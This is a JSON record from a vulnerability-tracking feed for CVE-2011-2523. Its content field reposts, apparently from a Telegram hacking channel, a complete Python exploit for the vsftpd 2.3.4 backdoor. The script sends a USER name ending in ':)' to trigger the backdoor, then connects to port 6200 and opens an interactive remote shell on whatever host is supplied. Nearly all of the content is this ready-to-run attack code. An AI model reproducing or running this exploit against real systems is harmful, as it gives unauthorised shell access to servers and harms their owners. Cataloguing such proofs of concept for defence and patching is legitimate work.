{"uuid": "a9cfbd8e-7d96-4afa-8445-6537764288b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4641", "content": "Exploit Collector\nvsftpd 2.3.4 Backdoor Command Execution\n\nhttps://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png \nvsftpd version 2.3.4 backdoor remote command execution exploit.\n\nMD5 | accb8a13d15982d8cbc9b5a4c1df898d\n\nDownload\n# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution\n# Date: 9-04-2021\n# Exploit Author: HerculesRD\n# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html\n# Version: vsftpd 2.3.4\n# Tested on: debian\n# CVE : CVE-2011-2523\n\n#!/usr/bin/python3 \n\nfrom telnetlib import Telnet \nimport argparse\nfrom signal import signal, SIGINT\nfrom sys import exit\n\ndef handler(signal_received, frame):\n# Handle any cleanup here\nprint('   [+]Exiting...')\nexit(0)\n\nsignal(SIGINT, handler) \nparser=argparse.ArgumentParser() \nparser.add_argument(\"host\", help=\"input the address of the vulnerable host\", type=str)\nargs = parser.parse_args() \nhost = args.host \nportFTP = 21 #if necessary edit this line\n\nuser=\"USER nergal:)\"\npassword=\"PASS pass\"\n\ntn=Telnet(host, portFTP)\ntn.read_until(b\"(vsFTPd 2.3.4)\") #if necessary, edit this line\ntn.write(user.encode('ascii') + b\"\\n\")\ntn.read_until(b\"password.\") #if necessary, edit this line\ntn.write(password.encode('ascii') + b\"\\n\")\n\ntn2=Telnet(host, 6200)\nprint('Success, shell opened')\nprint('Send `exit` to quit shell')\ntn2.interact()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T11:00:05.264293Z"}